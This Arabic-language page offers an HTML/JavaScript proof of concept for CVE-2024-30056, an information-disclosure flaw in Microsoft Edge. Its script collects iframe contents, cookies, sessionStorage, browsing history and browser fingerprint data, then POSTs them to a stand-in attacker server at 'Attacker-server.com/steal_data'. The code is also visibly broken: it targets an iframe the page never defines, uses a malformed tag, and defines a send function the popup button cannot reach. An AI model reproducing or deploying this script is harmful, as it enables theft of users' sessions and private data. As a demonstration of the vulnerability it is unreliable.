إفشاء معلومات Microsoft Edge

CVE-2024-30056 ثغرة إفشاء معلومات في Microsoft Edge (القائم على Chromium)
هذه ثغرة في Microsoft Edge (القائم على Chromium). كان المهاجم قادرًا على خداع المستخدم ليكشف معلومات حساسة دون علمه.
برهان المفهوم:

<!DOCTYPE html>
<html>
<head>
    <title>PoC CVE-2024-30056</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 20px;
        }
        h1 {
            color: #333;
        }
        pre {
            background-color: #f5f5f5;
            padding: 10px;
            border: 1px solid #ddd;
            overflow: auto;
        }
        button {
            padding: 10px 20px;
            background-color: #007bff;
            color: #fff;
            border: none;
            border-radius: 5px;
            cursor: pointer;
        }
        button:hover {
            background-color: #0056b3;
        }
    </style>
</head>
<body>
    <h1> Poc CVE-2024-30056</h1>
    
    <script>
        document.getElementById('targetIframe').onload = function() {
            try {
            
                let iframeDocument = document.getElementById('targetIframe').contentWindow.document;
                let sensitiveData = btoa(encodeURIComponent(escape(iframeDocument.documentElement.innerHTML))); 

               
                let cookies = btoa(encodeURIComponent(escape(document.cookie))); 
             
                let sessions = btoa(encodeURIComponent(escape(JSON.stringify(sessionStorage)))); 

            
                let browsingHistory = btoa(encodeURIComponent(escape(JSON.stringify(history)))); 

             
                let browserData = {
                    userAgent: navigator.userAgent,
                    platform: navigator.platform,
                    language: navigator.language,
                    plugins: [],
                    mimeTypes: [],
                    screen: {
                        width: window.screen.width,
                        height: window.screen.height,
                        colorDepth: window.screen.colorDepth
                    },
                    timezoneOffset: new Date().getTimezoneOffset()
                };

                for (let i = 0; i < navigator.plugins.length; i++) {
                    browserData.plugins.push({
                        name: navigator.plugins[i].name,
                        filename: navigator.plugins[i].filename,
                        description: navigator.plugins[i].description
                    });
                }
                for (let i = 0; i < navigator.mimeTypes.length; i++) {
                    browserData.mimeTypes.push({
                        type: navigator.mimeTypes[i].type,
                        description: navigator.mimeTypes[i].description,
                        suffixes: navigator.mimeTypes[i].suffixes
                    });
                }

               
                let popup = window.open("", "Sensitive Data", "width=600,height=600");
                popup.document.write("<h1>Sensitive Data</h1>");
                popup.document.write("<pr>" + decodeURIComponent(unescape(atob(decodeURIComponent(unescape(sensitiveData)))) + "</pr>"));
                popup.document.write("<h2>Cookies:</h2>");
                popup.document.write("<pre>" + decodeURIComponent(unescape(atob(decodeURIComponent(unescape(cookies)))) + "</pre>"));
                popup.document.write("<h2>User Sessions:</h2>");
popup.document.write("<pre>" + decodeURIComponent(unescape(atob(decodeURIComponent(unescape(sessions)))) + "</pre>"));
                popup.document.write("<h2>Browsing History:</h2>");
                popup.document.write("<pre>" + decodeURIComponent(unescape(atob(decodeURIComponent(unescape(browsingHistory)))) + "</pre>"));
                popup.document.write("<h2>Browser Information:</h2>");
                popup.document.write("<pre>" + JSON.stringify(browserData, null, 2) + "</pre>");

             
                popup.document.write("<button onclick=\"sendData()\">Send Data </button>");

            
                function sendData() {
                    let xhr = new XMLHttpRequest();
                    xhr.open("POST", "http://Attacker-server.com/steal_data", true);
                    xhr.setRequestHeader("Content-Type", "application/json");
                    xhr.send(JSON.stringify({ sensitiveData: sensitiveData, cookies: cookies, sessions: sessions, browsingHistory: browsingHistory }));
                    alert("Stolen data has been sent to the malicious server!");
                }
            } catch (error) {
                console.error('Error accessing iframe content:', error);
            }
        };
    </script>
</body>
</html>
Microsoft-Edge-Information-Disclosure

الأكثر شعبية
